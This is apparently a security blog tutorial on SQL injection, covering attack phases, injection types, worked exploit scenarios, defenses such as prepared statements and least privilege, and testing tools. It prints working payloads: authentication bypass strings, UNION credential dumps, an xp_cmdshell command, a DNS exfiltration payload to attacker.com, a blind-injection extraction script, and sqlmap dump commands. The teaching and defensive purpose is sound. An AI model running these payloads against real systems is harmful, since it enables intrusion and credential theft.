SQL Injection: How It Works and How to Protect Your Applications

SQL Injection: How It Works and How to Protect Your Applications

SQL Injection (SQLi) is a vulnerability that lets an attacker manipulate a web application's SQL queries. Despite being known for over 20 years, it remains in the OWASP Top 10 and still causes massive breaches. Let's see how it really works and how to defend against it.

Contents

• What is SQL Injection
• How the attack works
• Types of SQL Injection
• Practical exploit examples
• How to defend against it
• Testing tools
• Conclusions

---

What is SQL Injection

SQL Injection is a code injection technique that exploits insufficient validation of user input. The attacker inserts malicious SQL code into input fields (forms, URL parameters, headers) that is then executed by the database.

The underlying problem is simple: if you concatenate user input directly into an SQL query, you're executing untrusted code.

Classic vulnerable example:

// ❌ VULNERABLE CODE - DO NOT USE
$username = $_GET['user'];
$password = $_GET['pass'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

What happens if an attacker sends:

user=admin'--&pass=anything

The query becomes:

SELECT * FROM users WHERE username='admin'--' AND password='anything'

The -- is an SQL comment that ignores everything after it. The attacker has just logged in as admin without knowing the password.

---

How the attack works

SQL Injection attacks rely on 3 phases:

1. Discovery (finding the injection point)

The attacker tests all of the application's inputs with special SQL characters:

• ' (single quote)
• " (double quote)
• ; (statement separator)
• -- (comment)
• /* */ (multi-line comment)
• || (concatenation)

Basic test:

# If the application responds with an SQL error, it's vulnerable
https://example.com/product.php?id=1'

# Typical error:
# "You have an error in your SQL syntax near '1'' at line 1"

2. Exploitation (exploiting the vulnerability)

Once the vulnerable point is found, the attacker can:

A) Bypass authentication:

' OR '1'='1
admin'--
' OR 1=1--

B) Extract data:

' UNION SELECT username, password FROM users--

C) Modify data:

'; UPDATE users SET password='hacked' WHERE username='admin'--

D) Execute system commands (if permissions allow it):

'; EXEC xp_cmdshell('whoami')--  /* SQL Server */

3. Data Exfiltration

The attacker progressively extracts sensitive information:

-- 1. Discover databases
' UNION SELECT schema_name FROM information_schema.schemata--

-- 2. Discover tables
' UNION SELECT table_name FROM information_schema.tables--

-- 3. Discover columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- 4. Extract data
' UNION SELECT username, password FROM users--

Data extraction process via UNION-based SQL Injection

---

Types of SQL Injection

There are several types of SQLi, each requiring different techniques.

1. In-Band SQLi (Classic)

The attacker uses the same channel to inject and receive data.

Error-based:

' AND 1=CONVERT(int, (SELECT @@version))--

The SQL error reveals information (DB version, structure, etc).

UNION-based:

' UNION SELECT null, username, password FROM users--

The output of the second query is displayed on the page.

2. Blind SQLi

The application doesn't show SQL errors, but the attacker can infer information from the responses.

Boolean-based:

# Test whether the first character of the admin password is 'a'
# TRUE: normal page
# FALSE: different page or error

payload = "' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

Time-based:

-- If the condition is true, the DB waits 5 seconds
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--

3. Out-of-Band SQLi

Uses external channels (DNS, HTTP) to extract data. Rare but powerful.

-- SQL Server: exfiltrate data via DNS
'; DECLARE @data VARCHAR(1024); SELECT @data = (SELECT password FROM users WHERE username='admin'); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\\test"')--

---

Practical exploit examples

Scenario 1: Login Bypass

Vulnerable application (PHP + MySQL):

<?php
// login.php - VULNERABLE
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Login successful!";
} else {
    echo "Login failed!";
}
?>

Exploit:

# Payload in the username field
admin'--

# Resulting query:
# SELECT * FROM users WHERE username='admin'--' AND password=''
# The -- comments out the rest, password check bypassed

Test with curl:

curl -X POST https://target.com/login.php \
  -d "username=admin'--&password=anything"

Scenario 2: Data Extraction

Vulnerable application:

// product.php?id=5
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE id=$id";

Step 1 - Check number of columns:

-- Test until you get results
?id=5 ORDER BY 1--    ✓
?id=5 ORDER BY 2--    ✓
?id=5 ORDER BY 3--    ✗ (error = 2 columns)

Step 2 - Identify displayed columns:

?id=-1 UNION SELECT 1,2--
# If you see "1" and "2" on the page, both columns are output

Step 3 - Extract sensitive data:

-- Database version
?id=-1 UNION SELECT @@version, database()--

-- Database username
?id=-1 UNION SELECT user(), 2--

-- List of tables
?id=-1 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--

-- Dump credentials
?id=-1 UNION SELECT username, password FROM users--

Scenario 3: Blind SQLi with a Python script

When the app shows no errors, write a script to automate the extraction:

#!/usr/bin/env python3
import requests
import string

# Configuration
target = "https://target.com/product.php"
charset = string.ascii_lowercase + string.digits + "_"

def extract_database_name():
    """Extracts the database name using Boolean-based Blind SQLi"""
    db_name = ""

    for position in range(1, 20):  # Max 20 characters
        for char in charset:
            # Payload: if the character is correct, the page shows the product
            payload = f"1' AND SUBSTRING(database(),{position},1)='{char}'--"

            response = requests.get(target, params={"id": payload})

            # If the page contains "Product found", the character is correct
            if "Product found" in response.text:
                db_name += char
                print(f"[+] Found: {db_name}")
                break
        else:
            # No character found = end of string
            break

    return db_name

def extract_password(username):
    """Extracts the password using Time-based Blind SQLi"""
    password = ""

    for position in range(1, 50):  # Max 50 characters
        for char in charset:
            # If the character is correct, the DB waits 3 seconds
            payload = f"1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='{username}'),{position},1)='{char}',SLEEP(3),0)--"

            try:
                response = requests.get(target, params={"id": payload}, timeout=2)
            except requests.Timeout:
                # Timeout = character found
                password += char
                print(f"[+] Password: {password}")
                break
        else:
            break

    return password

if __name__ == "__main__":
    print("[*] Starting Blind SQLi exploitation...")

    db = extract_database_name()
    print(f"[+] Database name: {db}")

    pwd = extract_password("admin")
    print(f"[+] Admin password: {pwd}")

Execution:

$ python3 blind_sqli.py
[*] Starting Blind SQLi exploitation...
[+] Found: s
[+] Found: sh
[+] Found: sho
[+] Found: shop
[+] Database name: shop_db
[+] Password: a
[+] Password: ad
[+] Password: adm
[+] Password: adm1
[+] Password: adm1n
[+] Admin password: adm1n123

---

How to defend against it

1. Prepared Statements (Parametrized Queries) ✅

The definitive solution. Parameters are sent separately from the query, so the DB never interprets them as code.

PHP (MySQLi):

// ✅ SAFE
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

PHP (PDO):

// ✅ SAFE
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=:user AND password=:pass");
$stmt->execute(['user' => $username, 'pass' => $password]);
$result = $stmt->fetchAll();

Python (psycopg2 - PostgreSQL):

# ✅ SAFE
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))

Node.js (MySQL):

// ✅ SAFE
connection.query("SELECT * FROM users WHERE username=? AND password=?", [username, password], (err, results) => {
    // ...
});

2. Stored Procedures (with parameters)

-- Creating a stored procedure
CREATE PROCEDURE AuthenticateUser(
    IN p_username VARCHAR(50),
    IN p_password VARCHAR(255)
)
BEGIN
    SELECT * FROM users
    WHERE username = p_username
    AND password = p_password;
END;

// Safe call
$stmt = $conn->prepare("CALL AuthenticateUser(?, ?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

⚠️ Warning: Stored procedures are safe ONLY if they use parameters. If they concatenate strings internally, they're vulnerable.

3. Input Validation and Sanitization

Not a primary defense, but it adds an extra layer of protection.

// Whitelist for fields with limited allowed values
$allowed_sort = ['name', 'price', 'date'];
$sort = in_array($_GET['sort'], $allowed_sort) ? $_GET['sort'] : 'name';

$query = "SELECT * FROM products ORDER BY $sort";  // Safe because of the whitelist

// Type casting for numeric IDs
$id = (int)$_GET['id'];  // Cast to integer, impossible to inject SQL

$query = "SELECT * FROM products WHERE id=$id";  // Safe because $id is an int

Escape function (last resort, NOT recommended):

// ⚠️ Prepared statements are better
$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "SELECT * FROM users WHERE username='$username'";

4. Least Privilege

The application's DB user must NOT be root/admin.

-- ✅ Create a dedicated user with limited permissions
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- Only SELECT, INSERT, UPDATE on specific tables
GRANT SELECT, INSERT, UPDATE ON shop_db.products TO 'webapp'@'localhost';
GRANT SELECT, INSERT ON shop_db.orders TO 'webapp'@'localhost';

-- NO DELETE, NO DROP, NO GRANT
FLUSH PRIVILEGES;

Benefits:

• Even if SQLi is exploited, the attacker can't drop tables
• Can't create new admin users
• Can't access other databases

5. WAF (Web Application Firewall)

A WAF can block common SQLi patterns.

Example ModSecurity rule:

# Block common SQLi patterns
SecRule ARGS "@rx (?i)(union.*select|select.*from|insert.*into|\bor\b.*=|1=1)" \
    "id:1000,phase:2,deny,status:403,log,msg:'SQL Injection detected'"

ℹ️ Note: A WAF is an additional defensive layer, NOT a replacement for secure code. WAF bypasses exist.

6. Secure error handling

Never expose SQL errors to users:

// ❌ VULNERABLE - shows SQL errors
mysqli_query($conn, $query) or die(mysqli_error($conn));

// ✅ SAFE - log the error, show a generic message
if (!mysqli_query($conn, $query)) {
    error_log("DB Error: " . mysqli_error($conn));
    die("An error occurred. Please try again later.");
}

---

Testing tools

SQLMap - The King of SQLi Exploitation

Installation:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h

Usage examples:

# Basic test
python3 sqlmap.py -u "http://target.com/product.php?id=1"

# Specify a POST parameter
python3 sqlmap.py -u "http://target.com/login.php" \
  --data="username=admin&password=pass"

# Dump the entire database
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  --dump-all --batch

# Extract specific tables
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  -D shop_db -T users --dump

# Test with a session cookie
python3 sqlmap.py -u "http://target.com/admin.php?id=1" \
  --cookie="PHPSESSID=abc123def456"

# Interactive SQL shell
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  --sql-shell

Typical SQLMap output:

[*] starting @ 14:32:15
[14:32:15] [INFO] testing connection to the target URL
[14:32:16] [INFO] testing if the target URL is stable
[14:32:17] [INFO] target URL is stable
[14:32:17] [INFO] testing if GET parameter 'id' is dynamic
[14:32:18] [INFO] GET parameter 'id' appears to be dynamic
[14:32:19] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[14:32:20] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:21] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based' injectable
[14:32:22] [INFO] GET parameter 'id' is 'MySQL >= 5.0 UNION query' injectable

Other useful tools

Tool	Purpose	Link	Difficulty
Burp Suite	Intercept and modify requests, built-in SQLi scanner	portswigger.net	⭐⭐
jSQL Injection	User-friendly GUI for SQLi	github.com/ron190/jsql-injection	⭐
NoSQLMap	SQLi for NoSQL databases (MongoDB, CouchDB)	github.com/codingo/NoSQLMap	⭐⭐
Havij	Automated SQLi tool (Windows)	N/A (discontinued)	⭐

Custom script for quick tests

#!/usr/bin/env python3
"""
sqli_quick_test.py - Quick SQLi vulnerability test
"""
import requests
import sys

# Common SQLi payloads
PAYLOADS = [
    "'",
    "''",
    "' OR '1'='1",
    "' OR '1'='1'--",
    "' OR '1'='1'/*",
    "admin'--",
    "' UNION SELECT NULL--",
    "1' AND 1=1--",
    "1' AND 1=2--",
]

# SQL error patterns
ERROR_PATTERNS = [
    "sql syntax",
    "mysql_fetch",
    "mysqli",
    "Warning: mysql",
    "PostgreSQL",
    "Driver.*SQL",
    "ORA-01",
    "DB2 SQL error",
]

def test_sqli(url):
    """Runs a basic SQLi vulnerability test against a URL"""
    print(f"[*] Testing {url}")
    vulnerable = False

    for payload in PAYLOADS:
        try:
            # Test GET parameter
            if "?" in url:
                test_url = url.replace("=", f"={payload}")
            else:
                test_url = f"{url}?id={payload}"

            response = requests.get(test_url, timeout=5)

            # Check for SQL errors
            for error in ERROR_PATTERNS:
                if error.lower() in response.text.lower():
                    print(f"[!] VULNERABLE with payload: {payload}")
                    print(f"[!] Error found: {error}")
                    vulnerable = True
                    break

        except Exception as e:
            print(f"[-] Error with payload {payload}: {e}")

    if not vulnerable:
        print("[+] No obvious SQLi found (not conclusive)")

    return vulnerable

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 sqli_quick_test.py <URL>")
        sys.exit(1)

    url = sys.argv[1]
    test_sqli(url)

Execution:

python3 sqli_quick_test.py "http://target.com/product.php?id=1"

---

Conclusions

SQL Injection is 100% preventable by using prepared statements. There are no excuses.

Key takeaways:

1. Never concatenate user input into SQL queries - always use prepared statements
2. Test your applications - use SQLMap before someone else does
3. Defense in depth - prepared statements + least privilege + WAF + error handling
4. Don't trust the client - validate server-side, always

Next steps:

• Also read: XSS: What It Is and How to Protect Yourself
• Go deeper: NoSQL Injection: When MongoDB Is Vulnerable
• Glossary: OWASP Top 10

---

FAQ

Q: Do prepared statements work with dynamic queries (ORDER BY, LIMIT)?
A: Prepared parameters only work for VALUES. For clauses like ORDER BY, use a whitelist of allowed values. Example: $allowed = ['name','price']; $sort = in_array($_GET['sort'], $allowed) ? $_GET['sort'] : 'name';

Q: Are ORMs like Laravel/Django immune to SQLi?
A: ORMs use prepared statements internally, BUT if you use raw queries or unsafe methods (whereRaw, DB::raw) you're vulnerable. Always validate input even with an ORM.

Q: How do I test SQLi on a login form with a CAPTCHA?
A: Use tools that maintain the session (Burp Repeater) or solve the CAPTCHA manually once and then replay the request. Some CAPTCHAs have client-side bypasses.

Q: Does SQLi work against REST/GraphQL APIs?
A: Yes, if the API builds SQL queries from JSON/GraphQL parameters without prepared statements. Test headers, JSON bodies, and GraphQL queries with SQLi payloads.

---

References:

1. OWASP SQL Injection
2. CWE-89: SQL Injection
3. SQLMap Documentation
4. PortSwigger SQL Injection Cheat Sheet

---

Last updated: January 7, 2025 - Only use security testing on authorized systems. SQLi without permission is a crime.

Article tags: #web-security #sqli #php #mysql #owasp #pentest